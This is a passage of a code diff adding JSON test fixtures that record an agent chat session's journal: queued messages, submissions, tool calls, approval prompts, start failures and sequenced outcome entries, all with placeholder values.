"parentId": "p", + "run": "r", + "outcomeBasis": "stop-acknowledged", + "background": true + }, + { + "type": "background-task", + "taskId": "t", + "kind": "command", + "label": "build", + "state": "running", + "parentToolUseId": "call-1", + "summary": "s", + "error": "e", + "outputFile": "/tmp/o", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ], + "sentAs": "steer", + "command": { + "name": "compact" + }, + "skills": [ + { + "name": "s", + "path": "/s" + } + ], + "state": "completed", + "completedAt": 3, + "from": { + "kind": "agent", + "senders": [ + { + "party": { + "address": "term_worker", + "terminalHandle": "term_worker", + "orcaSessionId": null + }, + "name": "Worker", + "relation": "worker" + } + ], + "orchestration": { + "message": "mail-notice", + "mailbox": "m", + "dispatchId": null, + "messages": [ + { + "messageId": "m1", + "runId": "r1", + "from": "term_worker" + } + ] + } + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-1\"", + { + "itemId": "item-1", + "revision": 1, + "body": { + "kind": "agent-start", + "dispatchId": "d", + "task": "do it", + "worker": { + "party": { + "address": "term_worker", + "terminalHandle": "term_worker", + "orcaSessionId": null + }, + "name": "Worker", + "relation": "worker" + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-2\"", + { + "itemId": "item-2", + "revision": 1, + "body": { + "kind": "tool-call", + "name": "shell", + "input": {}, + "callId": "call-2", + "state": "running", + "endedAs": "interrupted", + "output": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + }, + "mcpIdentity": { + "server": "s", + "tool": "t" + }, + "exitCode": 1, + "durationMs": 2, + "webSearchResults": [] + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-3\"", + { + "itemId": "item-3", + "revision": 1, + "body": { + "kind": "diff", + "path": "a.ts", + "patch": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-4\"", + { + "itemId": "item-4", + "revision": 1, + "body": { + "kind": "approval", + "title": "Approve?", + "displayName": "Shell", + "description": "d", + "decisionReason": "r", + "blockedPath": "/b", + "matchedAskRule": { + "source": "settings", + "toolName": "Bash", + "ruleContent": "ls" + }, + "subject": { + "kind": "plan", + "text": "Plan", + "filePath": "/p" + }, + "detail": null, + "options": [ + { + "id": "yes", + "label": "Yes", + "description": "d" + } + ], + "resolution": { + "state": "answered", + "selectedOptionId": null, + "answers": [ + { + "questionId": "q1", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-5\"", + { + "itemId": "item-5", + "revision": 1, + "body": { + "kind": "question", + "question": "Which?", + "options": [ + { + "id": "a", + "label": "A" + } + ], + "questions": [ + { + "id": "q1", + "question": "Which?", + "header": "H", + "multiSelect": false, + "options": [ + { + "id": "a", + "label": "A" + } + ], + "freeTextQuestionId": "f", + "freeTextInput": { + "allowEmpty": true, + "multiline": true, + "initialValue": "", + "placeholder": "p" + } + } + ], + "freeTextQuestionId": "f", + "freeTextInput": { + "multiline": false + }, + "resolution": { + "state": "answered", + "selectedOptionId": null, + "answers": [ + { + "questionId": "q1", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-6\"", + { + "itemId": "item-6", + "revision": 1, + "body": { + "kind": "status", + "text": "The agent could not start.", + "presentation": "notice", + "tone": "error", + "contextClear": { + "operationId": "clear-1", + "afterFence": 1, + "clearedAt": 4 + }, + "turnLifecycle": { + "turnId": "turn-1", + "state": "completed", + "outcome": "success", + "userItemId": "orca:send-1", + "startedAt": 2, + "requestedAt": 1, + "completedAt": 3, + "durationMs": 1, + "contextUsage": { + "window": { + "tokens": 200000, + "capturedAt": 7 + }, + "used": { + "kind": "report", + "model": "gpt", + "usedTokens": 10, + "windowTokens": 200000, + "percentage": 1, + "autoCompactAtTokens": 180000, + "categories": [ + { + "name": "Messages", + "tokens": 10, + "deferred": true + } + ], + "capturedAt": 7 + } + }, + "providerTurnId": "provider-turn-1" + }, + "providerFrame": { + "provider": "codex", + "kind": "event", + "payload": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "threadGoal": { + "state": "set", + "goal": { + "objective": "o", + "status": "active", + "tokenBudget": null, + "tokensUsed": 1, + "timeUsedSeconds": 2, + "createdAt": 1, + "updatedAt": 2 + } + }, + "failure": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "orcaStop": { + "cause": "user" + } + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "items", + "\"item-7\"", + { + "itemId": "item-7", + "revision": 1, + "body": { + "kind": "turn", + "turnId": "turn-1", + "state": "completed", + "outcome": "success", + "userItemId": "orca:send-1", + "startedAt": 2, + "requestedAt": 1, + "completedAt": 3, + "durationMs": 1, + "contextUsage": { + "window": { + "tokens": 200000, + "capturedAt": 7 + }, + "used": { + "kind": "report", + "model": "gpt", + "usedTokens": 10, + "windowTokens": 200000, + "percentage": 1, + "autoCompactAtTokens": 180000, + "categories": [ + { + "name": "Messages", + "tokens": 10, + "deferred": true + } + ], + "capturedAt": 7 + } + }, + "providerTurnId": "provider-turn-1" + }, + "sequence": 3, + "sequenceIndex": 1, + "observedAt": 3, + "recovered": true, + "recoveredAt": 4, + "turnScope": { + "kind": "turn", + "turnItemId": "turn-item" + }, + "shortened": true, + "agentId": "a", + "parentAgentId": "p", + "providerParentRef": "r", + "producerKind": "agent", + "attempt": 2 + } + ], + [ + "submissions", + "\"send-1\"", + [ + "send-1", + { + "clientMessageId": "send-1", + "fence": 1, + "payloadFingerprint": "f", + "dispatchState": "rejected", + "providerItemId": null, + "reason": "refused", + "rejection": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "submittedAt": 1, + "resolvedAt": 2, + "submittedSequence": 3, + "answeredInTurn": { + "turnItemId": "t", + "via": "start" + }, + "recovered": true, + "handoverRecorded": true, + "handedOverAt": 2, + "acceptedSequence": 4, + "queuedMessageId": "card-1", + "origin": "client", + "source": { + "kind": "agent" + }, + "keptAsQueuedMessageId": "card-1", + "options": { + "model": "m", + "effort": "high", + "personality": "p", + "fastMode": "true", + "serviceTier": "t" + } + } + ] + ], + [ + "queue.cards", + "\"card-1\"", + [ + "card-1", + { + "messageId": "card-1", + "position": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Stopped", + "presentation": "status", + "tone": "warning", + "providerFrame": { + "provider": "codex", + "kind": "event", + "payload": { + "head": "{}", + "byteLength": 2, + "digest": "d", + "truncated": false + } + }, + "contextClear": { + "operationId": "clear-1", + "afterFence": 1, + "clearedAt": 4 + }, + "failure": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "orcaStop": { + "cause": "user", + "turnItemId": "turn-item" + }, + "usageLimitTurnItemId": "turn-item" + }, + { + "type": "tool-call", + "name": "shell", + "input": { + "command": ["ls"] + }, + "callId": "call-1", + "state": "completed", + "endedAs": "completed", + "mcpIdentity": { + "server": "s", + "tool": "t" + }, + "exitCode": 0, + "durationMs": 5, + "webSearchResults": [ + { + "title": "t", + "url": "https://example.com" + } + ] + }, + { + "type": "tool-result", + "output": "ok", + "isError": false, + "callId": "call-1", + "fullOutputItemId": "full-1", + "editPatch": { + "filePath": "a.ts", + "hunks": [ + { + "oldStart": 1, + "oldLines": 1, + "newStart": 1, + "newLines": 2, + "lines": ["-a", "+a", "+b"] + } + ] + } + }, + { + "type": "image-ref", + "path": "/tmp/a.png", + "alt": "a" + }, + { + "type": "subagent-group", + "groupId": "g", + "agents": [ + { + "id": "c", + "label": "child", + "state": "working", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ] + }, + { + "type": "subagent", + "id": "c", + "label": "child", + "state": "completed", + "groupId": "g", + "parentId": "p", + "run": "r", + "outcomeBasis": "stop-acknowledged", + "background": true + }, + { + "type": "background-task", + "taskId": "t", + "kind": "command", + "label": "build", + "state": "running", + "parentToolUseId": "call-1", + "summary": "s", + "error": "e", + "outputFile": "/tmp/o", + "tokens": 1, + "startedAt": 1, + "settledAt": 2 + } + ], + "sentAs": "steer", + "command": { + "name": "compact" + }, + "skills": [ + { + "name": "s", + "path": "/s" + } + ], + "state": "completed", + "completedAt": 3, + "from": { + "kind": "agent", + "senders": [ + { + "party": { + "address": "term_worker", + "terminalHandle": "term_worker", + "orcaSessionId": null + }, + "name": "Worker", + "relation": "worker" + } + ], + "orchestration": { + "message": "mail-notice", + "mailbox": "m", + "dispatchId": null, + "messages": [ + { + "messageId": "m1", + "runId": "r1", + "from": "term_worker" + } + ] + } + } + }, + "fingerprint": "f", + "state": "returned", + "holdReason": null, + "returnedReason": "refused", + "returnedRejection": { + "kind": "startFailed", + "account": "managed", + "detail": { + "text": "model not found", + "audience": "log" + }, + "refusal": { + "code": "agent_session_operation_invalid", + "details": { + "reason": "providerStartFailed", + "ownerVerdict": "exited", + "rewindReason": "turnActive", + "account": "system", + "argumentProblem": { + "agent": "Codex", + "option": "--model", + "problem": "missingValue" + }, + "agent": "codex", + "agentInstallation": { + "agent": "codex", + "installedVersion": "0.1.0", + "minimumVersion": "0.2.0" + }, + "codexInstallation": { + "installedVersion": null, + "minimumVersion": "0.2.0" + }, + "currentFence": 3, + "currentRevision": 2, + "resolution": { + "state": "approved", + "selectedOptionId": "yes", + "answers": [ + { + "questionId": "q", + "optionIds": ["a"], + "other": "x" + } + ], + "resolvedBy": "client", + "resolvedAt": 5 + }, + "owner": { + "sessionId": "session-2", + "workspaceId": "ws-2" + } + } + }, + "attachment": { + "reason": "tooLarge", + "limit": 10 + }, + "retry": { + "error": "overloaded", + "status": 529, + "cause": "busy", + "attempt": 1, + "maxRetries": 3 + }, + "usageLimit": { + "window": "fiveHour", + "resetsAt": 1000 + }, + "argumentProblem": { + "agent": "Claude", + "option": "-p", + "problem": "positionalPrompt" + }, + "neverReachedAgent": true, + "backgroundStop": "all", + "requestTimeout": { + "method": "thread/start", + "timeoutMs": 30000 + } + }, + "consumedAs": null, + "queuedAt": { + "epoch": "epoch-1", + "sequence": 2 + }, + "options": { + "model": "m" + } + } + ] + ] +] diff --git a/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json new file mode 100644 index 00000000000..4e400c0a4c2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json @@ -0,0 +1,894 @@ +{ + "sessionId": "session-1", + "epoch": "epoch-1", + "through": 21, + "marker": "{\"v\":5,\"kind\":\"outcomes\",\"epoch\":\"epoch-1\",\"seq\":1,\"ts\":1001}", + "outcomes": [ + [1, "$", "\"derivedTurnScope\"", 1, "s0000000000000001:0000000000000006", "null", 0], + [1, "$", "\"epoch\"", 1, "s0000000000000001:0000000000000001", "\"epoch-1\"", 0], + [1, "$", "\"highestFence\"", 1, "s0000000000000001:0000000000000005", "1", 0], + [ + 1, + "$", + "\"historyOrigin\"", + 1, + "s0000000000000001:0000000000000010", + "{\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"raw\":{\"version\":1,\"kind\":\"legacy_import\",\"providerHandle\":{\"kind\":\"codex\",\"threadId\":\"thread-1\"},\"importedAt\":1001}}", + 0 + ], + [1, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "0", 0], + [1, "$", "\"latestAcceptedTurnSequence\"", 1, "s0000000000000001:0000000000000007", "0", 0], + [1, "$", "\"oldestSequence\"", 1, "s0000000000000001:0000000000000004", "1", 0], + [1, "$", "\"queue\"", 1, "s0000000000000001:0000000000000009", "{\"revision\":0}", 0], + [ + 1, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":null,\"resumedSequence\":0,\"reopenedSequence\":0}", + 0 + ], + [1, "$", "\"sessionId\"", 1, "s0000000000000001:0000000000000000", "\"session-1\"", 0], + [2, "$", "\"queue\"", 1, "s0000000000000001:0000000000000009", "{\"revision\":1}", 0], + [ + 2, + "queue.cards", + "\"draft\"", + 1, + "s0000000000000002:0000000000000000", + "[\"draft\",{\"messageId\":\"draft\",\"position\":1,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"fingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"state\":\"waiting\",\"holdReason\":null,\"returnedReason\":null,\"returnedRejection\":null,\"consumedAs\":null,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":2},\"options\":{\"model\":\"model-a\"}}]", + 0 + ], + [3, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1003", 0], + [3, "$", "\"queue\"", 1, "s0000000000000001:0000000000000009", "{\"revision\":2}", 0], + [ + 3, + "itemFences", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000003", + "[\"orca:send-1\",1]", + 0 + ], + [ + 3, + "items", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000002", + "{\"itemId\":\"orca:send-1\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":3,\"observedAt\":1003,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [ + 3, + "queue.cards", + "\"draft\"", + 1, + "s0000000000000002:0000000000000000", + "[\"draft\",{\"messageId\":\"draft\",\"position\":1,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"fingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"state\":\"dispatched\",\"holdReason\":null,\"returnedReason\":null,\"returnedRejection\":null,\"consumedAs\":\"send-1\",\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":2},\"options\":{\"model\":\"model-a\"}}]", + 0 + ], + [ + 3, + "submissions", + "\"send-1\"", + 1, + "s0000000000000003:0000000000000001", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1003,\"resolvedAt\":null,\"submittedSequence\":3,\"handoverRecorded\":true,\"acceptedSequence\":3,\"queuedMessageId\":\"draft\",\"origin\":\"client\"}]", + 0 + ], + [4, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1004", 0], + [ + 4, + "items", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000002", + "{\"itemId\":\"orca:send-1\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":4,\"observedAt\":1004,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [ + 4, + "queuedHandOffPlaces", + "\"send-1\"", + 1, + "s0000000000000004:0000000000000002", + "[\"send-1\",{\"sequence\":4,\"observedAt\":1004,\"turnScope\":{\"kind\":\"thread\"}}]", + 0 + ], + [ + 4, + "stoppedHistoryCarried", + "\"send-1\"", + 1, + "s0000000000000004:0000000000000003", + "[\"send-1\",[\"stopped-2\",\"stopped-1\"]]", + 0 + ], + [ + 4, + "submissions", + "\"send-1\"", + 1, + "s0000000000000003:0000000000000001", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1003,\"resolvedAt\":null,\"submittedSequence\":3,\"handoverRecorded\":true,\"acceptedSequence\":3,\"queuedMessageId\":\"draft\",\"origin\":\"client\",\"handedOverAt\":1004}]", + 0 + ], + [5, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1005", 0], + [5, "$", "\"latestAcceptedTurnSequence\"", 1, "s0000000000000001:0000000000000007", "3", 0], + [ + 5, + "aliases", + "\"codex:thread-1:turn-1:1\"", + 1, + "s0000000000000005:0000000000000002", + "[\"codex:thread-1:turn-1:1\",\"orca:send-1\"]", + 0 + ], + [ + 5, + "items", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000002", + "{\"itemId\":\"orca:send-1\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":4,\"observedAt\":1004,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [ + 5, + "receipts", + "\"send-1\"", + 1, + "s0000000000000005:0000000000000003", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"providerItemId\":\"codex:thread-1:turn-1:1\",\"cursor\":{\"epoch\":\"epoch-1\",\"sequence\":5},\"acceptedAt\":1005}]", + 0 + ], + [ + 5, + "submissions", + "\"send-1\"", + 1, + "s0000000000000003:0000000000000001", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"accepted\",\"providerItemId\":\"codex:thread-1:turn-1:1\",\"reason\":null,\"submittedAt\":1003,\"resolvedAt\":1005,\"submittedSequence\":3,\"handoverRecorded\":true,\"acceptedSequence\":3,\"queuedMessageId\":\"draft\",\"origin\":\"client\",\"handedOverAt\":1004}]", + 0 + ], + [6, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1006", 0], + [ + 6, + "itemEchoes", + "\"codex:thread-1:turn-1:2\"", + 1, + "s0000000000000006:0000000000000002", + "[\"codex:thread-1:turn-1:2\"]", + 0 + ], + [ + 6, + "itemFences", + "\"codex:thread-1:turn-1:2\"", + 1, + "s0000000000000006:0000000000000001", + "[\"codex:thread-1:turn-1:2\",1]", + 0 + ], + [ + 6, + "items", + "\"codex:thread-1:turn-1:2\"", + 1, + "s0000000000000006:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:2\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"echo\"}]},\"sequence\":6,\"observedAt\":1006,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [6, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1006]", 0], + [7, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1007", 0], + [ + 7, + "itemFences", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000007:0000000000000001", + "[\"codex:thread-1:turn-1:3\",1]", + 0 + ], + [ + 7, + "items", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000007:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"removed\"}]},\"sequence\":7,\"observedAt\":1007,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [7, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1007]", 0], + [8, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1008", 0], + [ + 8, + "itemFences", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000007:0000000000000001", + "null", + 1 + ], + [8, "items", "\"codex:thread-1:turn-1:3\"", 1, "s0000000000000007:0000000000000000", "null", 1], + [ + 8, + "tombstones", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000008:0000000000000000", + "[\"codex:thread-1:turn-1:3\",2]", + 0 + ], + [9, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1009", 0], + [ + 9, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":{\"sequence\":9,\"event\":{\"reason\":\"user-stop\",\"at\":1009}},\"resumedSequence\":0,\"reopenedSequence\":0}", + 0 + ], + [10, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1010", 0], + [ + 10, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":{\"sequence\":9,\"event\":{\"reason\":\"user-stop\",\"at\":1009}},\"resumedSequence\":0,\"reopenedSequence\":0,\"cleared\":{\"operationId\":\"clear-1\",\"messageIds\":[\"draft\"],\"sequence\":10}}", + 0 + ], + [11, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1011", 0], + [ + 11, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":{\"sequence\":9,\"event\":{\"reason\":\"user-stop\",\"at\":1009}},\"resumedSequence\":0,\"reopenedSequence\":11,\"cleared\":{\"operationId\":\"clear-1\",\"messageIds\":[\"draft\"],\"sequence\":10}}", + 0 + ], + [12, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1012", 0], + [ + 12, + "appliedSettlementIds", + "\"settlement-0\"", + 1, + "s0000000000000012:0000000000000003", + "[\"settlement-0\",\"settlement-0\"]", + 0 + ], + [ + 12, + "itemFences", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000001", + "[\"codex:thread-1:turn-1:4\",1]", + 0 + ], + [ + 12, + "items", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:4\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"progress 0\"}]},\"sequence\":12,\"observedAt\":1012,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [12, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1012]", 0], + [13, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1013", 0], + [ + 13, + "appliedSettlementIds", + "\"settlement-1\"", + 1, + "s0000000000000013:0000000000000002", + "[\"settlement-1\",\"settlement-1\"]", + 0 + ], + [ + 13, + "items", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:4\",\"revision\":2,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"progress 1\"}]},\"sequence\":12,\"observedAt\":1012,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [13, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1013]", 0], + [14, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1014", 0], + [ + 14, + "appliedSettlementIds", + "\"settlement-2\"", + 1, + "s0000000000000014:0000000000000002", + "[\"settlement-2\",\"settlement-2\"]", + 0 + ], + [ + 14, + "items", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:4\",\"revision\":3,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"progress 2\"}]},\"sequence\":12,\"observedAt\":1012,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [14, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1014]", 0], + [ + 15, + "$", + "\"derivedTurnScope\"", + 1, + "s0000000000000001:0000000000000006", + "\"codex:thread-1:turn-1:7\"", + 0 + ], + [15, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1015", 0], + [ + 15, + "itemFences", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000001", + "[\"codex:thread-1:turn-1:7\",1]", + 0 + ], + [ + 15, + "items", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000000", + 